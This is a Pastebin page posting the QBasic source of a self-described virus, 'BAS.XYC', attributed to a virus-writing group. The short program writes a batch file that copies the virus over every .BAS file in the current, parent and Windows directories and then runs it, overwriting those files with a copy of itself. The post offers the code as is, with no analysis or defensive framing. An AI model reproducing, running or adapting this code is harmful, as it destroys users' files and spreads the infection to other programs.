Advertisement
FlyFar

Virus.BAS.Xyc - Source Code

Jun 11th, 2023
2,345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 0.38 KB | Cybersecurity | 0 0
  1. CLS
  2. REM The first Quick Basic infection Virus
  3. REM written by SeCoNd PaRt TO HeLl
  4. REM FOR showing, that .BAS can be infected
  5. REM NAME of the Virus: BAS.XYC
  6. OPEN "C:\xyc.bat" FOR OUTPUT AS #1
  7. PRINT #1, "@echo off"
  8. PRINT #1, "if exist xyc.bas copy xyc.bas C:\xyc.bas"
  9. PRINT #1, "for %%r in (*.bas ..\*.bas %windir%\*.bas) do copy C:\xyc.bas %%r"
  10. CLOSE #1
  11. SHELL "C:\xyc.bat"
  12.  
  13.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement